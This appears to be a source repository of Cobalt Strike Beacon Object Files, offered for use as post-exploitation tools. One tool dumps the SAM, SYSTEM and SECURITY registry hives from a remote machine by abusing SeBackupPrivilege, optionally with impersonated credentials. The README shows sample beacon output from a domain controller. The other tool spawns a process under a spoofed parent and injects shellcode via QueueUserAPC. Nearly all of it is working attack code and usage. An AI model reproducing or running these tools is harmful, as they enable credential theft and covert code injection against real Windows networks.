├── .gitignore ├── BackupPrivSam ├── backupprivsam.c ├── backupprivsam.cna ├── backupprivsam.x64.o └── beacon.h ├── README.md ├── beacon.h ├── queueuserapc_ppid.gif └── queueuserapc_ppid ├── queueuserapc_ppid.cna └── queueuserapc_ppid.x86.c /.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m57/cobaltstrike_bofs/cd88fc8d1f9ecd58462b12562ed4886aaaed3ca3/.gitignore -------------------------------------------------------------------------------- /BackupPrivSam/backupprivsam.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "beacon.h" 4 | 5 | DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$LogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); 6 | DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE hToken); 7 | DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$RegConnectRegistryW(LPCWSTR lpMachineName, HKEY hKey, PHKEY phkResult); 8 | DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); 9 | DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$RegSaveKeyW(HKEY hKey, LPCWSTR lpFile, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 10 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError (void); 11 | WINBASEAPI wchar_t WINAPI MSVCRT$wcscat(wchar_t * destination, const wchar_t * source); 12 | 13 | VOID MakeToken(LPCWSTR domain, LPCWSTR user, LPCWSTR password) { 14 | 15 | HANDLE token; 16 | 17 | if (ADVAPI32$LogonUserW(user, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &token) == 0) { 18 | BeaconPrintf(CALLBACK_ERROR, "LogonUserW: %d\n", KERNEL32$GetLastError()); 19 | return; 20 | } 21 | 22 | if (ADVAPI32$ImpersonateLoggedOnUser(token) == 0) { 23 | BeaconPrintf(CALLBACK_ERROR, "ImpersonateLoggedOnUser: %d\n", KERNEL32$GetLastError()); 24 | return; 25 | } 26 | 27 | BeaconPrintf(CALLBACK_OUTPUT, "Impersonated user: %ls\\%ls", domain, user); 28 | return; 29 | } 30 | 31 | void go(char * args, int alen) { 32 | 33 | datap parser; 34 | BeaconDataParse(&parser, args, alen); 35 | 36 | const wchar_t * target = (wchar_t *) BeaconDataExtract(&parser, NULL); 37 | const wchar_t * saveFolder = (wchar_t *) BeaconDataExtract(&parser, NULL); 38 | 39 | const wchar_t * domain = (wchar_t *) BeaconDataExtract(&parser, NULL); 40 | const wchar_t * user = (wchar_t *) BeaconDataExtract(&parser, NULL); 41 | const wchar_t * password = (wchar_t *) BeaconDataExtract(&parser, NULL); 42 | 43 | target = (*target == 0) ? NULL : target; 44 | saveFolder = (*saveFolder == 0) ? NULL : saveFolder; 45 | domain = (*domain == 0) ? NULL : domain; 46 | user = (*user == 0) ? NULL : user; 47 | password = (*password == 0) ? NULL : password; 48 | 49 | if (target == NULL || saveFolder == NULL ){ 50 | BeaconPrintf(CALLBACK_ERROR, "Not enough arguments."); 51 | return; 52 | } 53 | 54 | if ((domain != NULL) && (user != NULL) && (password != NULL)){ 55 | BeaconPrintf(CALLBACK_OUTPUT, "Got Credentials. Making Token..."); 56 | MakeToken(domain, user, password); 57 | } 58 | 59 | if (target && saveFolder){ 60 | BeaconPrintf(CALLBACK_OUTPUT, "Will try to dump SAM from %ls\\HKLM\\ into folder '%ls'", target, saveFolder); 61 | } 62 | 63 | HKEY hklm; 64 | HKEY hkey; 65 | DWORD result; 66 | const wchar_t* hives[] = { L"SAM",L"SYSTEM",L"SECURITY" }; 67 | 68 | BeaconPrintf(CALLBACK_OUTPUT, "Connecting to remote registry of '%ls'", target); 69 | result = ADVAPI32$RegConnectRegistryW(target, HKEY_LOCAL_MACHINE, &hklm); 70 | if (result != 0) { 71 | BeaconPrintf(CALLBACK_ERROR, "RegConnectRegistryW: %d\n", result); 72 | return; 73 | } 74 | BeaconPrintf(CALLBACK_OUTPUT, "RegConnectRegistryW() - OK"); 75 | 76 | for (int i = 0; i < 3; i++) { 77 | 78 | wchar_t tempSave[128] = {0}; 79 | MSVCRT$wcscat(tempSave,saveFolder); 80 | MSVCRT$wcscat(tempSave,hives[i]); 81 | 82 | BeaconPrintf(CALLBACK_OUTPUT, "Dumping %ls\\HKLM\\%ls hive to %ls", target, hives[i], tempSave); 83 | result = ADVAPI32$RegOpenKeyExW(hklm, hives[i], REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_READ, &hkey); 84 | if (result != 0) { 85 | BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW: %d\n", result); 86 | return; 87 | } 88 | 89 | result = ADVAPI32$RegSaveKeyW(hkey, tempSave, NULL); 90 | if (result != 0) { 91 | BeaconPrintf(CALLBACK_ERROR, "RegSaveKeyW: %d\n", result); 92 | return; 93 | } 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /BackupPrivSam/backupprivsam.cna: -------------------------------------------------------------------------------- 1 | alias backupPrivSAM { 2 | local('$barch $handle $data $args'); 3 | 4 | # figure out the arch of this session 5 | $barch = barch($1); 6 | 7 | # read in the right BOF file 8 | # $handle = openf(script_resource("backupprivsam. $+ $barch $+ .o")); 9 | $handle = openf(script_resource("backupprivsam. $+ $barch $+ .o")); 10 | $data = readb($handle, -1); 11 | closef($handle); 12 | 13 | # pack our arguments 14 | $args = bof_pack($1, "ZZZZZ", $2, $3, $4, $5, $6); 15 | 16 | # announce what we're doing 17 | btask($1, "Launching backupPrivSAM..."); 18 | 19 | # execute it. 20 | beacon_inline_execute($1, $data, "go", $args); 21 | } -------------------------------------------------------------------------------- /BackupPrivSam/backupprivsam.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m57/cobaltstrike_bofs/cd88fc8d1f9ecd58462b12562ed4886aaaed3ca3/BackupPrivSam/backupprivsam.x64.o -------------------------------------------------------------------------------- /BackupPrivSam/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BackupPrivSam 2 | 3 | A basic implementation of abusing the `SeBackupPrivilege` via Remote Registry dumping to dump the remote SAM SECURITY AND SYSTEM hives. 4 | 5 | Inspired by https://twitter.com/filip_dragovic initial PoC. Just made it into a BOF. 6 | 7 | Could be improved to auto download the hives. CBA 8 | 9 | ## Usage 10 | 11 | ``` 12 | BackupPrivSAM [\\computername] [save path] (optional: [domain] [username] [password]) 13 | ``` 14 | 15 | 1. Dump the Hives to remote C:\ drive, using the current Primary Token 16 | 17 | `BackupPrivSAM \\dc01.contoso.local C:\` 18 | 19 | 2. Dump the Hives to remote C:\ drive, and impersonate a user 20 | 21 | `BackupPrivSAM \\dc01.contoso.local C:\ CONTOSO backup_service Password123` 22 | 23 | 24 | ## With Impersonation (SeBackupPrivilege enabled account) 25 | 26 | ``` 27 | beacon> backupPrivSAM \\cdc001.corp.contoso.local C:\ CORP backup_service ************* 28 | [*] Launching backupPrivSAM... 29 | [+] host called home, sent: 2589 bytes 30 | [+] received output: 31 | Got Credentials. Making Token... 32 | [+] received output: 33 | Impersonated user: CORP\backup_service 34 | [+] received output: 35 | Will try to dump SAM from \\cdc001.corp.contoso.local\HKLM\ into folder 'C:\' 36 | [+] received output: 37 | Connecting to remote registry of '\\cdc001.corp.contoso.local' 38 | [+] received output: 39 | RegConnectRegistryW() - OK 40 | [+] received output: 41 | Dumping \\cdc001.corp.contoso.local\HKLM\SAM hive to C:\SAM 42 | [+] received output: 43 | Dumping \\cdc001.corp.contoso.local\HKLM\SYSTEM hive to C:\SYSTEM 44 | [+] received output: 45 | Dumping \\cdc001.corp.contoso.local\HKLM\SECURITY hive to C:\SECURITY 46 | 47 | beacon> ls \\cdc001\C$ 48 | [*] Tasked beacon to list files in \\cdc001\C$ 49 | [+] host called home, sent: 29 bytes 50 | [*] Listing: \\cdc001\C$\ 51 | 52 | Size Type Last Modified Name 53 | ---- ---- ------------- ---- 54 | dir 04/29/2019 01:27:26 $Recycle.Bin 55 | dir 04/27/2019 16:32:36 Documents and Settings 56 | dir 05/05/2019 17:53:11 PerfLogs 57 | dir 11/20/2019 11:30:27 Program Files 58 | dir 04/28/2019 17:45:56 Program Files (x86) 59 | dir 08/17/2021 21:09:38 ProgramData 60 | dir 04/27/2019 16:32:36 Recovery 61 | dir 04/28/2019 17:46:10 System Volume Information 62 | dir 04/29/2019 01:26:56 Users 63 | dir 10/02/2021 19:27:55 Windows 64 | 380kb fil 11/21/2016 00:42:45 bootmgr 65 | 1b fil 07/16/2016 14:18:08 BOOTNXT 66 | 1gb fil 07/19/2022 17:45:55 pagefile.sys 67 | 52kb fil 07/23/2022 21:23:45 SAM 68 | 32kb fil 07/23/2022 21:23:45 SECURITY 69 | 17mb fil 07/23/2022 21:23:45 SYSTEM 70 | ``` 71 | 72 | ## Without impersonation 73 | 74 | ``` 75 | beacon> make_token CORP\backup_service ********** 76 | [*] Tasked beacon to create a token for CORP\backup_service 77 | [+] host called home, sent: 59 bytes 78 | [+] Impersonated CORP\Administrator 79 | 80 | beacon> backupPrivSAM \\cdc001.corp.contoso.local C:\ 81 | [*] Launching backupPrivSAM... 82 | [+] host called home, sent: 2511 bytes 83 | [+] received output: 84 | Will try to dump SAM from \\cdc001.corp.contoso.local\HKLM\ into folder 'C:\' 85 | [+] received output: 86 | Connecting to remote registry of '\\cdc001.corp.contoso.local' 87 | [+] received output: 88 | RegConnectRegistryW() - OK 89 | [+] received output: 90 | Dumping \\cdc001.corp.contoso.local\HKLM\SAM hive to C:\SAM 91 | [+] received output: 92 | Dumping \\cdc001.corp.contoso.local\HKLM\SYSTEM hive to C:\SYSTEM 93 | [+] received output: 94 | Dumping \\cdc001.corp.contoso.local\HKLM\SECURITY hive to C:\SECURITY 95 | 96 | beacon> ls \\cdc001\C$ 97 | [*] Tasked beacon to list files in \\cdc001\C$ 98 | [+] host called home, sent: 29 bytes 99 | [*] Listing: \\cdc001\C$\ 100 | 101 | Size Type Last Modified Name 102 | ---- ---- ------------- ---- 103 | dir 04/29/2019 01:27:26 $Recycle.Bin 104 | dir 04/27/2019 16:32:36 Documents and Settings 105 | dir 05/05/2019 17:53:11 PerfLogs 106 | dir 11/20/2019 11:30:27 Program Files 107 | dir 04/28/2019 17:45:56 Program Files (x86) 108 | dir 08/17/2021 21:09:38 ProgramData 109 | dir 04/27/2019 16:32:36 Recovery 110 | dir 04/28/2019 17:46:10 System Volume Information 111 | dir 04/29/2019 01:26:56 Users 112 | dir 10/02/2021 19:27:55 Windows 113 | 380kb fil 11/21/2016 00:42:45 bootmgr 114 | 1b fil 07/16/2016 14:18:08 BOOTNXT 115 | 1gb fil 07/19/2022 17:45:55 pagefile.sys 116 | 52kb fil 07/23/2022 21:24:06 SAM 117 | 32kb fil 07/23/2022 21:24:07 SECURITY 118 | 17mb fil 07/23/2022 21:24:07 SYSTEM 119 | ``` 120 | 121 | # QueueUserAPC_PPID 122 | 123 | > queueuserapc_ppid/ 124 | 125 | BOF spawns a process of your choice under a specified parent, and injects a provided shellcode file via QueueUserAPC(). 126 | 127 | ![](queueuserapc_ppid.gif) 128 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /queueuserapc_ppid.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m57/cobaltstrike_bofs/cd88fc8d1f9ecd58462b12562ed4886aaaed3ca3/queueuserapc_ppid.gif -------------------------------------------------------------------------------- /queueuserapc_ppid/queueuserapc_ppid.cna: -------------------------------------------------------------------------------- 1 | alias QueueUserAPC_PPID { 2 | local('$barch $handle $data $args'); 3 | 4 | $barch = barch($1); 5 | 6 | $handle = openf(script_resource("queueuserapc_ppid. $+ $barch $+ .o")); 7 | $data = readb($handle, -1); 8 | closef($handle); 9 | 10 | $handle_to_shellcode = openf($4); 11 | $sc_data = readb($handle_to_shellcode, -1); 12 | closef($handle_to_shellcode); 13 | 14 | $args = bof_pack($1, "iZb", $2, $3, $sc_data); 15 | 16 | btask($1, "Executing QueueUserAPC BOF"); 17 | 18 | beacon_inline_execute($1, $data, "go", $args); 19 | } 20 | -------------------------------------------------------------------------------- /queueuserapc_ppid/queueuserapc_ppid.x86.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../beacon.h" 3 | 4 | #define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000 5 | 6 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (void); 7 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread (HANDLE); 8 | DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap (VOID); 9 | DECLSPEC_IMPORT WINBASEAPI PVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, DWORD); 10 | DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD); 11 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE, DWORD); 12 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$QueueUserAPC (PAPCFUNC, HANDLE, ULONG_PTR); 13 | DECLSPEC_IMPORT WINBASEAPI PVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, PVOID, DWORD, DWORD, DWORD); 14 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T); 15 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$InitializeProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD, PSIZE_T); 16 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$UpdateProcThreadAttribute (LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD_PTR, PVOID, SIZE_T, PVOID, PSIZE_T); 17 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CreateProcessW (LPCWSTR, LPCWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION ); 18 | 19 | typedef struct _STARTUPINFOEXW { 20 | STARTUPINFOW StartupInfo; 21 | struct _PROC_THREAD_ATTRIBUTE_LIST *lpAttributeList; 22 | } STARTUPINFOEXW, *LPSTARTUPINFOEXW; 23 | 24 | void go(wchar_t *argv, int argc){ 25 | 26 | LPCWSTR cmd; 27 | STARTUPINFOEXW si = { sizeof(si) }; 28 | SIZE_T sizeT; 29 | PROCESS_INFORMATION pi ; 30 | LPVOID allocation_start; 31 | HANDLE hProcess, hThread; 32 | NTSTATUS status; 33 | 34 | int sc_len; 35 | int ppid; 36 | char* sc_ptr; 37 | datap parser; 38 | BeaconDataParse(&parser, argv, argc); 39 | 40 | ppid = BeaconDataInt(&parser); 41 | cmd = (wchar_t *)BeaconDataExtract(&parser, NULL); 42 | sc_len = BeaconDataLength(&parser); 43 | sc_ptr = BeaconDataExtract(&parser, NULL); 44 | 45 | SIZE_T allocation_size = sizeof(sc_ptr) * sc_len; 46 | BeaconPrintf(CALLBACK_OUTPUT, "Sacrifical Process: %ls",cmd); 47 | BeaconPrintf(CALLBACK_OUTPUT, "Shellcode size: %d",sc_len); 48 | 49 | BeaconPrintf(CALLBACK_OUTPUT, "Getting handle on PID %d", ppid); 50 | HANDLE pHandle = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, ppid); 51 | 52 | BeaconPrintf(CALLBACK_OUTPUT, "Calling CreateProcessW()"); 53 | 54 | KERNEL32$InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT); 55 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), 0, sizeT); 56 | KERNEL32$InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeT); 57 | KERNEL32$UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL); 58 | si.StartupInfo.cb = sizeof(STARTUPINFOEXW); 59 | 60 | if (!KERNEL32$CreateProcessW( 61 | cmd, 62 | NULL, 63 | NULL, 64 | NULL, 65 | FALSE, 66 | CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, 67 | NULL, 68 | NULL, 69 | (LPSTARTUPINFO)&si, 70 | &pi)){ 71 | BeaconPrintf(CALLBACK_OUTPUT, "[-] CreateProcessW(): %d", KERNEL32$GetLastError()); 72 | } 73 | 74 | KERNEL32$WaitForSingleObject(pi.hProcess, 2000); 75 | hProcess = pi.hProcess; 76 | hThread = pi.hThread; 77 | 78 | allocation_start = KERNEL32$VirtualAllocEx(hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 79 | 80 | BeaconPrintf(CALLBACK_OUTPUT, "Writing shellcode using WPM()",allocation_size); 81 | KERNEL32$WriteProcessMemory(hProcess, allocation_start, sc_ptr, allocation_size, NULL); 82 | 83 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)allocation_start; 84 | 85 | BeaconPrintf(CALLBACK_OUTPUT, "QueueUserAPC()",allocation_size); 86 | KERNEL32$QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL); 87 | 88 | KERNEL32$ResumeThread(hThread); 89 | 90 | BeaconCleanupProcess(&pi); 91 | 92 | } 93 | --------------------------------------------------------------------------------